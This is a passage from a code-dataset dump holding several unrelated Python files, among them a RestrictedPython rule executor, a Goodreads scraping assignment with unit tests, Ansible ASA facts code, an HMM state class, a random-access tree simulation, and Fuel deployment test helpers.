slice assignment')\n\n __delitem__ = _handler(\n '__guarded_delitem__',\n 'object does not support item or slice assignment')\n\n __setattr__ = _handler(\n '__guarded_setattr__',\n 'attribute-less object (assign or del)')\n\n __delattr__ = _handler(\n '__guarded_delattr__',\n 'attribute-less object (assign or del)')\n\n return Wrapper\n\n\ndef _write_guard():\n # Nested scope abuse!\n # safetypes and wrapper variables are used by guard()\n safetypes = {dict, list, pandas.DataFrame, pandas.Series}\n wrapper = _write_wrapper()\n\n def guard(ob):\n # Don't bother wrapping simple types, or objects that claim to\n # handle their own write security.\n if type(ob) in safetypes or hasattr(ob, '_guarded_writes'):\n return ob\n # Hand the object to the Wrapper instance, then return the instance.\n return wrapper(ob)\n\n return guard\n\n\nwrite_guard = _write_guard()\n\nsafe_globals = dict(__builtins__=safe_builtins)\n\nsafe_builtins['_getitem_'] = getitem\nsafe_builtins['_getattr_'] = getattr\nsafe_builtins['_write_'] = write_guard\nsafe_builtins['math'] = math\nsafe_builtins['datetime'] = datetime\n\n\ndef modify_values(row, dataset, pvs):\n \"\"\"\n Author : Thomas Mahoney\n Date : 27 / 03 / 2018\n Purpose : Applies the PV rules to the specified dataframe on a row by row basis.\n Parameters : row - the row of a dataframe passed to the function through the 'apply' statement called\n pvs - a collection of pv names and statements to be applied to the dataframe's rows.\n dataset - and identifier used in the executed pv statements.\n Returns : a modified row to be reinserted into the dataframe.\n Requirements : this function must be called through a pandas apply statement.\n Dependencies : NA\n \"\"\"\n\n for pv in pvs:\n safe_builtins['row'] = row\n safe_builtins['dataset'] = dataset\n code = pv['PROCVAR_RULE']\n log.debug(f\"Executing PV {pv['PROCVAR_NAME']}\")\n try:\n exec(code, safe_globals, None)\n except Exception as err:\n name = pv['PROCVAR_NAME']\n log.error(f\"Error in PV: {name}, Message: {str(err)}\")\n raise PVExecutionError(str(err), pv['PROCVAR_NAME'])\n\n if dataset in ('survey', 'shift'):\n row['SHIFT_PORT_GRP_PV'] = str(row['SHIFT_PORT_GRP_PV'])[:10]\n\n return row\n\n\ndef get_pvs():\n \"\"\"\n Author : Thomas Mahoney\n Date : 27 / 03 / 2018\n Purpose : Extracts the PV data from the process_variables table.\n Parameters : conn - a connection object linking the database.\n Returns : a collection of pv names and statements\n Requirements : NA\n Dependencies : NA\n \"\"\"\n\n engine = db.get_sql_connection()\n\n if engine is None:\n raise ConnectionError(\"Cannot get database connection\")\n\n with engine.connect() as conn:\n sql = \"SELECT PROCVAR_NAME,PROCVAR_RULE FROM SAS_PROCESS_VARIABLE ORDER BY PROCVAR_ORDER\"\n v = conn.engine.execute(sql)\n return v.fetchall()\n\n\ndef parallel_func(pv_df, pv_list, dataset=None):\n compile_pvs(\"\", pv_list)\n return pv_df.apply(modify_values, axis=1, args=(dataset, pv_list))\n\n\ndef compile_pvs(template, pv_list) -> Status:\n for a in pv_list:\n log.debug(f\"Compiling PV: {a['PROCVAR_NAME']}\")\n try:\n a['PROCVAR_RULE'] = compile_restricted(\n a['PROCVAR_RULE'],\n filename=a['PROCVAR_NAME'],\n mode='exec'\n )\n except Exception as err:\n return ErrorStatus(template, str(err), a['PROCVAR_NAME'])\n return SuccessfulStatus(template)\n\n\ndef parallelise_pvs(dataframe, process_variables, dataset=None):\n num_partitions = multiprocessing.cpu_count()\n df_split = np.array_split(dataframe, num_partitions)\n pool = multiprocessing.Pool(num_partitions)\n\n res = pandas.concat(\n pool.map(\n partial(parallel_func, pv_list=process_variables, dataset=dataset),\n df_split\n ),\n sort=True\n )\n\n pool.close()\n pool.join()\n\n return res\n\n\ndef process(in_table_name, out_table_name, in_id, dataset):\n # Ensure the input table name is capitalised\n in_table_name = in_table_name.upper()\n\n # Extract the table's content into a local dataframe\n df_data = db.get_table_values(in_table_name)\n\n # Fill nan values\n df_data.fillna(value=np.NaN, inplace=True)\n\n # Get the process variable statements\n process_variables = get_pvs()\n\n pvs = []\n for a in process_variables:\n c = dict(a.items())\n pvs.append(c)\n\n if dataset == 'survey':\n df_data = df_data.sort_values('SERIAL')\n\n df_data = parallelise_pvs(df_data, pvs, dataset)\n\n # Create a list to hold the PV column names\n updated_columns = []\n\n # Loop through the pv's\n for pv in process_variables:\n updated_columns.append(pv[0].upper())\n\n # Generate a column list from the in_id column and the pvs for the current run\n columns = [in_id] + updated_columns\n columns = [col.upper() for col in columns]\n # Create a new dataframe from the modified data using the columns specified\n df_out = df_data[columns]\n\n # Insert the dataframe to the output table\n insert_from_dataframe(out_table_name)(df_out)\n","sub_path":"ips/util/process_variables.py","file_name":"process_variables.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"442299288","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nimport os\nimport csv\nimport unittest\n\n# By: Tiara Amadia & Anthony Ho // Nina Yang\n\n\ndef get_titles_from_search_results(filename):\n\n source_dir = os.path.dirname(__file__)\n fullpath = os.path.join(source_dir, filename) \n infile = open(fullpath, 'r', encoding=\"UTF-8\")\n soup = BeautifulSoup(infile, \"html.parser\")\n infile.close()\n\n list_tuple = []\n rows = soup.find_all(\"tr\", itemtype=\"http://schema.org/Book\")\n\n for row in rows: \n each_book = row.find(\"a\", class_= \"bookTitle\")\n book_title = each_book.find(\"span\", itemprop = \"name\")\n each_author = row.find(\"a\", class_= \"authorName\")\n author_name = each_author.find(\"span\", itemprop = \"name\")\n list_tuple.append((book_title.text.strip(), author_name.text.strip()))\n \n return list_tuple\n \n \"\"\"\n Write a function that creates a BeautifulSoup object on \"search_results.htm\". Parse\n through the object and return a list of tuples containing book titles (as printed on the Goodreads website) \n and authors in the format given below. Make sure to strip() any newlines from the book titles and author names.\n\n [('Book title 1', 'Author 1'), ('Book title 2', 'Author 2')...]\n \"\"\"\n\n\ndef get_search_links():\n url = \"https://www.goodreads.com/search?q=fantasy&qid=NwUsLiA2Nc\"\n r = requests.get(url)\n soup = BeautifulSoup(r.text, 'html.parser')\n\n list_links = []\n rows = soup.find_all(\"a\", class_ = \"bookTitle\")\n\n for row in rows: \n each_link = row.get('href', None)\n\n list_links.append(\"https://www.goodreads.com\" + each_link)\n\n return list_links[:10]\n\n \"\"\"\n Write a function that creates a BeautifulSoup object after retrieving content from\n \"https://www.goodreads.com/search?q=fantasy&qid=NwUsLiA2Nc\". Parse through the object and return a list of\n URLs for each of the first ten books in the search using the following format:\n\n ['https://www.goodreads.com/book/show/84136.Fantasy_Lover?from_search=true&from_srp=true&qid=NwUsLiA2Nc&rank=1', ...]\n\n Notice that you should ONLY add URLs that start with \"https://www.goodreads.com/book/show/\" to \n your list, and , and be sure to append the full path to the URL so that the url is in the format \n “https://www.goodreads.com/book/show/kdkd\".\n\n \"\"\"\n\n\ndef get_book_summary(book_url):\n\n chosen_url = book_url\n r = requests.get(chosen_url)\n soup = BeautifulSoup(r.text, 'html.parser')\n\n book_title = soup.find(\"h1\", id=\"bookTitle\")\n chosen_author = soup.find(\"a\", class_=\"authorName\")\n author_name = chosen_author.find(\"span\", itemprop=\"name\")\n page_num = soup.find(\"span\", itemprop=\"numberOfPages\")\n\n return (book_title.text.strip(), author_name.text.strip(), int(page_num.text.strip().split(\" \")[0]))\n \"\"\"\n Write a function that creates a BeautifulSoup object that extracts book\n information from a book's webpage, given the URL of the book. Parse through\n the BeautifulSoup object, and capture the book title, book author, and number \n of pages. This function should return a tuple in the following format:\n\n ('Some book title', 'the book's author', number of pages)\n\n HINT: Using BeautifulSoup's find() method may help you here.\n You can easily capture CSS selectors with your browser's inspector window.\n Make sure to strip() any newlines from the book title and number of pages.\n \"\"\"\n\ndef summarize_best_books(filepath):\n\n infile = open(filepath, 'r', encoding='UTF-8')\n soup = BeautifulSoup(infile, 'html.parser')\n infile.close()\n\n chosen_book = soup.find_all(class_ = \"category clearFix\")\n list_category = []\n\n for element in chosen_book:\n\n chosen_category = element.find(class_=\"category__copy\").text.strip()\n book_title = element.find(\"img\", class_=\"category__winnerImage\").get('alt', None)\n chosen_link = element.find(\"a\").get('href', None)\n\n list_category.append((chosen_category, book_title, chosen_link))\n \n return list_category\n\n \"\"\"\n Write a function to get a list of categories, book title and URLs from the \"BEST BOOKS OF 2020\"\n page in \"best_books_2020.htm\". This function should create a BeautifulSoup object from a \n filepath and return a list of (category, book title, URL) tuples.\n \n For example, if the best book in category \"Fiction\" is \"The Testaments (The Handmaid's Tale, #2)\", with URL\n https://www.goodreads.com/choiceawards/best-fiction-books-2020, then you should append \n (\"Fiction\", \"The Testaments (The Handmaid's Tale, #2)\", \"https://www.goodreads.com/choiceawards/best-fiction-books-2020\") \n to your list of tuples.\n \"\"\"\n pass\n\n\ndef write_csv(data, filename):\n\n with open(filename, mode='w') as csvfile:\n\n data_writer = csv.writer(csvfile, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n data_writer.writerow([\"Book title\", \"Author Name\"])\n \n for element in data:\n data_writer.writerow([element[0], element[1]])\n\n csvfile.close()\n\n \"\"\"\n Write a function that takes in a list of tuples (called data, i.e. the\n one that is returned by get_titles_from_search_results()), writes the data to a \n csv file, and saves it to the passed filename.\n\n The first row of the csv should contain \"Book Title\" and \"Author Name\", and\n respectively as column headers. For each tuple in data, write a new\n row to the csv, placing each element of the tuple in the correct column.\n\n When you are done your CSV file should look like this:\n\n Book title,Author Name\n Book1,Author1\n Book2,Author2\n Book3,Author3\n ......\n\n This function should not return anything.\n \"\"\"\n pass\n\n\ndef extra_credit(filepath):\n\n \"\"\"\n EXTRA CREDIT\n\n Please see the instructions document for more information on how to complete this function.\n You do not have to write test cases for this function.\n \"\"\"\n pass\n\nclass TestCases(unittest.TestCase):\n\n search_urls = get_search_links()\n\n #search_urls = get_search_links()\n\n # call get_search_links() and save it to a static variable: search_urls\n\n\n def test_get_titles_from_search_results(self):\n\n # call get_titles_from_search_results() on search_results.htm and save to a local variable\n local_variable_1 = get_titles_from_search_results(\"search_results.htm\")\n\n # check that the number of titles extracted is correct (20 titles)\n self.assertEqual(len(local_variable_1), 20)\n\n # check that the variable you saved after calling the function is a list\n self.assertEqual(type(local_variable_1), list)\n\n # check that each item in the list is a tuple\n for item in local_variable_1:\n self.assertEqual(type(item), tuple)\n\n # check that the first book and author tuple is correct (open search_results.htm and find it)\n self.assertEqual(local_variable_1[0][0], \"Harry Potter and the Deathly Hallows (Harry Potter, #7)\")\n self.assertEqual(local_variable_1[0][1], \"J.K. Rowling\")\n\n # check that the last title is correct (open search_results.htm and find it)\n self.assertEqual(local_variable_1[len(local_variable_1)-1][0], \"Harry Potter: The Prequel (Harry Potter, #0.5)\")\n self.assertEqual(local_variable_1[len(local_variable_1)-1][1], \"J.K. Rowling\")\n\n def test_get_search_links(self):\n\n # check that TestCases.search_urls is a list\n self.assertEqual(type(TestCases.search_urls), list)\n\n # check that the length of TestCases.search_urls is correct (10 URLs)\n self.assertEqual(len(TestCases.search_urls), 10)\n\n # check that each URL in the TestCases.search_urls is a string\n for element in TestCases.search_urls:\n self.assertEqual(type(element), str)\n\n # check that each URL contains the correct url for Goodreads.com followed by /book/show/\n for element in TestCases.search_urls:\n self.assertTrue(\"goodreads.com/book/show/\" in element)\n\n def test_get_book_summary(self):\n\n # for each URL in TestCases.search_urls (should be a list of tuples)\n list_tuple = []\n for element in TestCases.search_urls:\n list_tuple.append(get_book_summary(element))\n\n # check that the number of book summaries is correct (10)\n self.assertEqual(len(list_tuple), 10) \n\n # check that each item in the list is a tuple\n for element in list_tuple:\n self.assertEqual(type(element), tuple)\n\n # check that each tuple has 3 elements\n for element in list_tuple:\n self.assertEqual(len(element), 3)\n\n # check that the first two elements in the tuple are string\n for element in list_tuple:\n self.assertEqual(type(element[0]), str)\n self.assertEqual(type(element[1]), str)\n\n # check that the third element in the tuple, i.e. pages is an int\n for element in list_tuple:\n self.assertEqual(type(element[2]), int)\n\n # check that the first book in the search has 337 pages\n self.assertEqual(list_tuple[0][2], 337)\n\n\n def test_summarize_best_books(self):\n\n # call summarize_best_books and save it to a variable\n source_dir = os.path.dirname(__file__)\n fullpath = os.path.join(source_dir, \"best_books_2020.htm\")\n best_books = summarize_best_books(fullpath)\n\n # check that we have the right number of best books (20)\n self.assertEqual(len(best_books), 20)\n\n # assert each item in the list of best books is a tuple\n for element in best_books:\n self.assertEqual(type(element), tuple)\n\n\n # check that each tuple has a length of 3\n for element in best_books:\n self.assertEqual(len(element), 3)\n\n # check that the first tuple is made up of the following 3 strings:'Fiction', \"The Midnight Library\", 'https://www.goodreads.com/choiceawards/best-fiction-books-2020'\n self.assertEqual(best_books[0], ('Fiction', \"The Midnight Library\", 'https://www.goodreads.com/choiceawards/best-fiction-books-2020'))\n\n # check that the last tuple is made up of the following 3 strings: 'Picture Books', 'Antiracist Baby', 'https://www.goodreads.com/choiceawards/best-picture-books-2020'\n self.assertEqual(best_books[len(best_books)-1], ('Picture Books', 'Antiracist Baby', 'https://www.goodreads.com/choiceawards/best-picture-books-2020'))\n\n\n def test_write_csv(self):\n\n # call get_titles_from_search_results on search_results.htm and save the result to a variable\n chosen_titles = get_titles_from_search_results(\"search_results.htm\")\n\n # call write csv on the variable you saved and 'test.csv'\n write_csv(chosen_titles, \"test.csv\")\n\n # read in the csv that you wrote (create a variable csv_lines - a list containing all the lines in the csv you just wrote to above)\n f = open('test.csv')\n csv_reader = csv.reader(f, delimiter=',')\n csv_lines = [r for r in csv_reader]\n\n # check that there are 21 lines in the csv\n self.assertEqual(len(csv_lines), 21)\n\n # check that the header row is correct\n self.assertEqual(csv_lines[0],[\"Book title\",\"Author Name\"])\n\n # check that the next row is 'Harry Potter and the Deathly Hallows (Harry Potter, #7)', 'J.K. Rowling'\n self.assertEqual(csv_lines[1],['Harry Potter and the Deathly Hallows (Harry Potter, #7)', 'J.K. Rowling'])\n\n # check that the last row is 'Harry Potter: The Prequel (Harry Potter, #0.5)', 'J.K. Rowling'\n self.assertEqual(csv_lines[len(csv_lines)-1],['Harry Potter: The Prequel (Harry Potter, #0.5)', 'J.K. Rowling'])\n\n f.close()\n\n\nif __name__ == '__main__':\n print(extra_credit(\"extra_credit.htm\"))\n unittest.main(verbosity=2)\n\n\n\n","sub_path":"Project2.py","file_name":"Project2.py","file_ext":"py","file_size_in_byte":11842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"248615582","text":"# -*- coding: utf-8 -*-\n# Copyright 2019 Red Hat\n# GNU General Public License v3.0+\n# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\"\"\"\nThe facts class for asa\nthis file validates each subset of facts and selectively\ncalls the appropriate facts gathering function\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n\nfrom ansible_collections.ansible.netcommon.plugins.module_utils.network.common.facts.facts import (\n FactsBase,\n)\nfrom ansible_collections.cisco.asa.plugins.module_utils.network.asa.facts.acls.acls import (\n AclsFacts,\n)\nfrom ansible_collections.cisco.asa.plugins.module_utils.network.asa.facts.ogs.ogs import (\n OGsFacts,\n)\nfrom ansible_collections.cisco.asa.plugins.module_utils.network.asa.facts.legacy.base import (\n Default,\n Hardware,\n Config,\n)\n\n\nFACT_LEGACY_SUBSETS = dict(default=Default, hardware=Hardware, config=Config)\n\nFACT_RESOURCE_SUBSETS = dict(acls=AclsFacts, ogs=OGsFacts)\n\n\nclass Facts(FactsBase):\n \"\"\" The fact class for asa\n \"\"\"\n\n VALID_LEGACY_GATHER_SUBSETS = frozenset(FACT_LEGACY_SUBSETS.keys())\n VALID_RESOURCE_SUBSETS = frozenset(FACT_RESOURCE_SUBSETS.keys())\n\n def __init__(self, module):\n super(Facts, self).__init__(module)\n\n def get_facts(\n self, legacy_facts_type=None, resource_facts_type=None, data=None\n ):\n \"\"\" Collect the facts for asa\n :param legacy_facts_type: List of legacy facts types\n :param resource_facts_type: List of resource fact types\n :param data: previously collected conf\n :rtype: dict\n :return: the facts gathered\n \"\"\"\n if self.VALID_RESOURCE_SUBSETS:\n self.get_network_resources_facts(\n FACT_RESOURCE_SUBSETS, resource_facts_type, data\n )\n\n if self.VALID_LEGACY_GATHER_SUBSETS:\n self.get_network_legacy_facts(\n FACT_LEGACY_SUBSETS, legacy_facts_type\n )\n\n return self.ansible_facts, self._warnings\n","sub_path":"intro-ansible/venv3/lib/python3.8/site-packages/ansible_collections/cisco/asa/plugins/module_utils/network/asa/facts/facts.py","file_name":"facts.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"395660231","text":"from equations import P_X_given_Y_statekeep\n\nclass State:\n def __init__(self, model, transitionProb, PHRED=0.1, ALPHABET='ACTG'):\n self.phred = PHRED\n self.nextState = transitionProb\n self.alphabet = ALPHABET\n self.occurence = {}\n self.model = model\n self.M_NO_ERROR = {}\n self.ERROR_SUBSTITUTIONS_DEST = {}\n self.start = {}\n self.end = {}\n\n for x in self.alphabet:\n self.occurence[x] = sum([1 if c is x else 0 for c in self.model]) / len(self.model)\n self.start[x] = 1-self.phred if model[0]==x else self.phred/(len(self.alphabet)-1)\n self.end[x] = 1-self.phred if model[-1]==x else self.phred/(len(self.alphabet)-1)\n self.ERROR_SUBSTITUTIONS_DEST[x] = {y : 0 if x==y else 1/(len(self.alphabet)-1) for y in self.alphabet}\n\n curmodel = model+model[0]\n\n for x in self.alphabet:\n self.M_NO_ERROR[x] = {}\n for y in self.alphabet:\n self.M_NO_ERROR[x][y] = 0\n\n num_pairs = len(curmodel) - 1\n for i in range(num_pairs):\n self.M_NO_ERROR[ curmodel[i] ][ curmodel[i+1] ] += 1\n\n for x in self.alphabet:\n if x not in self.model:\n for y in self.alphabet:\n self.M_NO_ERROR[x][y] = 1/len(self.alphabet)\n else:\n total_count = 0\n for y in self.alphabet:\n total_count += self.M_NO_ERROR[x][y]\n for y in self.alphabet:\n self.M_NO_ERROR[x][y] /= total_count\n\n\n # first order probability matrix\n\n self.P_X_Y = {}\n for x in self.alphabet:\n self.P_X_Y[x] = {}\n for y in self.alphabet:\n self.P_X_Y[x][y] = P_X_given_Y_statekeep(self, x, y)\n","sub_path":"HMM/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"111221442","text":"from typing import Optional\n\nfrom simsapa import PACKAGE_ASSETS_DIR, SUTTAS_CSS, SUTTAS_JS\nfrom mako.template import Template\n\nopen_sutta_links_js_tmpl = Template(filename=str(PACKAGE_ASSETS_DIR.joinpath('templates/open_sutta_links.js')))\npage_tmpl = Template(filename=str(PACKAGE_ASSETS_DIR.joinpath('templates/page.html')))\n\n\ndef html_page(content: str,\n api_url: Optional[str] = None,\n css_extra: Optional[str] = None,\n js_extra: Optional[str] = None):\n\n css = SUTTAS_CSS\n if api_url is not None:\n css = css.replace(\"http://localhost:8000\", api_url)\n\n if css_extra:\n css += \"\\n\\n\" + css_extra\n\n # NOTE not using this atm\n # js = str(open_sutta_links_js_tmpl.render(api_url=api_url))\n\n js = \"\"\n\n if js_extra:\n js += \"\\n\\n\" + js_extra\n\n if not js_extra or 'SHOW_BOOKMARKS' not in js_extra:\n js += \"const SHOW_BOOKMARKS = false;\";\n\n js += SUTTAS_JS\n\n html = str(page_tmpl.render(content=content,\n css_head=css,\n js_head=js,\n js_body='',\n api_url=api_url))\n\n return html\n","sub_path":"simsapa/layouts/html_content.py","file_name":"html_content.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"214317743","text":"import numpy as np\nfrom .simparam import SimParam\nfrom .simstate import SimState\nfrom .simresult import SimResult\nfrom .slot import TreeSlot\nfrom .treestate import TreeState\nfrom .branchnode import BranchNode\nfrom . import packetlist\n\n\nclass Simulation(object):\n \"\"\"\n This Holds the entire Simulation object, whose parameters we update according to the outcomes\n \"\"\"\n\n def __init__(self, setting):\n # Load simulation parameters\n self.sim_param = SimParam(setting)\n # Load the simulation state parameters\n self.sim_state = SimState()\n # Load the result parameters\n self.sim_result = SimResult()\n # Load the class which perfomrs all the methods governing a simple slot\n self.slot = TreeSlot()\n # Load the branch node which keeps track of a tree\n self.branch_node = BranchNode()\n # Create an array of integers of which will contain all active nodes.\n self.active_array = []\n # For gated access, the arrived packets are put into a queue\n self.queue_array = []\n # The number of packets generated in a single slot\n self.packets_gen = 0\n # THe result of a slot\n self.result = 0\n # The current slot no\n self.slot_no = 0\n # Load the parameters for single tree resolution\n self.tree_state = TreeState(self)\n\n def reset(self, setting):\n self.sim_param = SimParam(setting)\n self.sim_state = SimState()\n self.sim_result = SimResult()\n self.slot = TreeSlot()\n self.active_array = []\n self.queue_array = []\n self.packets_gen = 0\n self.result = 0\n self.slot_no = 0\n self.tree_state = TreeState(self)\n self.branch_node.reset()\n\n def do_simulation_simple_tree_static(self, collided_packets):\n \"\"\"\n Static Simulation, when the number of in initial collided packets is given, it is essentially a single tree res\n :param collided_packets: the no of packets in the resolution\n\n \"\"\"\n # Load active array with the collided packets\n if collided_packets > self.sim_param.K:\n self.packets_gen = collided_packets\n packetlist.add_packets_to_tree(self)\n self.tree_state.reset(self)\n # Run the simulation as long as all packets are processed and tree is over\n while self.tree_state.gate_open:\n # Increment the slot\n self.slot_no += 1\n # Simulate the processes that would happen in the tx and rx in one slot, update the active array\n self.slot.oneslotprocess(self)\n # Update the simstate metrics according to the result of the simulation\n self.tree_state.update_metrics(self)\n # check if all the packets are processed and the tree is at its last branch\n if len(self.active_array) == 0 and len(self.branch_node.branch_status) == 0:\n self.tree_state.gate_open = False\n # update the metrics from a tree to the simulation state\n self.sim_state.update_metrics(self)\n # Update the results\n self.sim_result.get_result(self)\n else:\n self.sim_result.throughput = 0\n self.sim_result.magic_throughput = 0\n","sub_path":"sim_scripts/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"7270039","text":"import pygame\nclock = pygame.time.Clock()\n\nscreen = pygame.display.set_mode((640,480))\n\nt = 1\nt_dir = 1\nrunning = True\nwhile running: \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n screen.fill((0,0,0))\n pygame.draw.circle(screen, (00, t, 00), (320,240),25)\n pygame.display.update()\n\n t += t_dir\n if t == 0 or t == 255:\n t_dir = t_dir * -1\n clock.tick(100)\n\npygame.quit()\n\n","sub_path":"loops/pygameq1.py","file_name":"pygameq1.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"289113634","text":"# Copyright 2016 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport fileinput\nimport os\n\nfrom proboscis import asserts\nfrom proboscis import test\nimport yaml\n\nfrom fuelweb_test import logger\nfrom fuelweb_test.helpers.decorators import log_snapshot_after_test\nfrom fuelweb_test.helpers.ssh_manager import SSHManager\nfrom fuelweb_test.settings import DEPLOYMENT_MODE\nfrom fuelweb_test.settings import NEUTRON_SEGMENT\nfrom fuelweb_test.tests.base_test_case import SetupEnvironment\nfrom fuelweb_test.tests.base_test_case import TestBasic\n\n\n# NOTE: Setup yaml to work with puppet report\ndef construct_ruby_object(loader, suffix, node):\n \"\"\"Define a specific constructor\"\"\"\n return loader.construct_yaml_map(node)\n\n\ndef construct_ruby_sym(loader, node):\n \"\"\"Define a specific multi constructor\"\"\"\n return loader.construct_yaml_str(node)\n\n\nTASKS_BLACKLIST = [\n \"pre_hiera_config\",\n \"reboot_provisioned_nodes\",\n \"hiera\",\n \"configure_default_route\",\n \"netconfig\",\n \"upload_provision_data\"]\n\n\nSETTINGS_SKIPLIST = (\n \"dns_list\",\n \"ntp_list\",\n \"repo_setup\"\n)\n\n\nclass DeprecatedFixture(Exception):\n def __init__(self, msg):\n super(DeprecatedFixture, self).__init__(msg)\n\n\nclass LCMTestBasic(TestBasic):\n \"\"\"LCMTestBasic.\"\"\" # TODO documentation\n\n def __init__(self):\n super(LCMTestBasic, self).__init__()\n yaml.add_multi_constructor(u\"!ruby/object:\", construct_ruby_object)\n yaml.add_constructor(u\"!ruby/sym\", construct_ruby_sym)\n\n @staticmethod\n def node_roles(node):\n \"\"\"Compose a string that represents all roles assigned to given node\n\n :param node: dict, node data\n :return: str\n \"\"\"\n return \"_\".join(sorted(node[\"roles\"]))\n\n # FIXME: after implementation of the main functional of PROD-2510\n @staticmethod\n def get_nodes_tasks(node_id):\n \"\"\"\n :param node_id: an integer number of node id\n :return: a set of deployment tasks for corresponding node\n \"\"\"\n tasks = set()\n ssh = SSHManager()\n\n result = ssh.execute_on_remote(ssh.admin_ip, \"ls /var/log/astute\")\n filenames = [filename.strip() for filename in result['stdout']]\n\n for filename in filenames:\n ssh.download_from_remote(\n ssh.admin_ip,\n destination=\"/var/log/astute/{0}\".format(filename),\n target=\"/tmp/{0}\".format(filename))\n\n data = fileinput.FileInput(\n files=[\"/tmp/{0}\".format(filename) for filename in filenames],\n openhook=fileinput.hook_compressed)\n for line in data:\n if \"Task time summary\" in line \\\n and \"node {}\".format(node_id) in line:\n # FIXME: define an exact search of task\n task_name = line.split(\"Task time summary: \")[1].split()[0]\n check = any([excluded_task in task_name\n for excluded_task in TASKS_BLACKLIST])\n if check:\n continue\n tasks.add(task_name)\n return tasks\n\n @staticmethod\n def get_task_type(tasks, task_id):\n \"\"\"Get task type\n\n :param tasks: a list of dictionaries with task description\n :param task_id: a string, name of deployment task\n :return: a string of task type or a boolean value \"False\"\n \"\"\"\n for task in tasks:\n if task.get('id', '') == task_id:\n return task.get('type', False)\n return False\n\n @staticmethod\n def get_puppet_report(node):\n \"\"\"Get puppet run report from corresponding node\n\n :param node: a dictionary with node description\n :return: a dictionary with puppet report data\n \"\"\"\n ssh = SSHManager()\n ip = node['ip']\n report_file = \"/var/lib/puppet/state/last_run_report.yaml\"\n asserts.assert_true(ssh.isfile_on_remote(ip, report_file),\n 'File {!r} not found on node {!r}'\n .format(report_file, node['id']))\n with ssh.open_on_remote(ip, report_file) as f:\n data = yaml.load(f)\n ssh.rm_rf_on_remote(ip, report_file)\n return data\n\n @staticmethod\n def load_fixture(deployment_type, role, idmp=True):\n \"\"\"Load fixture for corresponding kind of deployment\n\n :param deployment_type: a string, name of the deployment kind\n :param role: a string, node role\n :param idmp: bool, indicates whether idempotency or ensurability\n fixture is loaded\n :return: a dictionary with loaded fixture data\n \"\"\"\n subdir = \"idempotency\" if idmp else \"ensurability\"\n fixture_path = os.path.join(\n os.path.dirname(__file__), \"fixtures\",\n deployment_type, subdir, \"{}.yaml\".format(role))\n with open(fixture_path) as f:\n fixture = yaml.load(f)\n\n default_attrs = {\"no_puppet_run\": False,\n \"type\": \"puppet\",\n \"skip\": []}\n\n # NOTE: Populate fixture with default values\n for task in fixture['tasks']:\n task_name, task_attrs = task.items()[0]\n if task_attrs is None:\n task_attrs = {}\n\n for default_attr, default_value in default_attrs.items():\n if default_attr not in task_attrs:\n task_attrs[default_attr] = default_value\n\n task[task_name] = task_attrs\n return fixture\n\n def get_fixture_relevance(self, actual_tasks, fixture):\n \"\"\"Get fixture relevance between actual deployment tasks\n and tasks from fixture files\n\n :param actual_tasks: a list of actual tasks\n :param fixture: a dictionary with fixture data\n :return: a tuple of task sets\n \"\"\"\n actual_tasks = set(actual_tasks)\n fixture_tasks = set([i.keys()[0] for i in fixture[\"tasks\"]])\n tasks_description = self.env.admin_actions.get_tasks_description()\n\n extra_actual_tasks = actual_tasks.difference(fixture_tasks)\n extra_fixture_tasks = fixture_tasks.difference(actual_tasks)\n\n # NOTE: in ideal case we need to avoid tasks with wrong types\n wrong_types = {}\n for task in fixture[\"tasks\"]:\n task_name, attrs = task.items()[0]\n expected_type = self.get_task_type(tasks_description, task_name)\n if not expected_type:\n logger.error(\"No type or no such task {!r}\".format(task_name))\n else:\n if expected_type != attrs[\"type\"]:\n wrong_types.update({task_name: expected_type})\n\n logger.info(\"Actual tasks {}contain extra tasks: {}\"\n .format(\"\" if extra_actual_tasks else \"don't \",\n extra_actual_tasks))\n logger.info(\"Fixture tasks {}contain extra tasks: {}\"\n .format(\"\" if extra_fixture_tasks else \"don't \",\n extra_fixture_tasks))\n\n return extra_actual_tasks, extra_fixture_tasks, wrong_types\n\n def define_pr_ctrl(self):\n \"\"\"Define primary controller\n\n :return: dict, node info\n \"\"\"\n devops_pr_controller = self.fuel_web.get_nailgun_primary_node(\n self.env.d_env.nodes().slaves[0])\n\n pr_ctrl = self.fuel_web.get_nailgun_node_by_devops_node(\n devops_pr_controller)\n return pr_ctrl\n\n def check_extra_tasks(self, slave_nodes, deployment, idmp=True, ha=False):\n \"\"\"Check existing extra tasks regarding to fixture and actual task\n or tasks with a wrong type\n\n :param slave_nodes: a list of nailgun nodes\n :param deployment: a string, name of the deployment kind\n :param idmp: bool, indicates whether idempotency or ensurability\n fixture is checked\n :param ha: bool, indicates ha mode is enabled or disabled\n :return: a list with nodes for which extra tasks regarding to fixture\n and actual task or tasks with a wrong type were found\n \"\"\"\n result = {'extra_actual_tasks': {},\n 'extra_fixture_tasks': {},\n 'wrong_types': {},\n 'failed_tasks': {}}\n\n pr_ctrl = 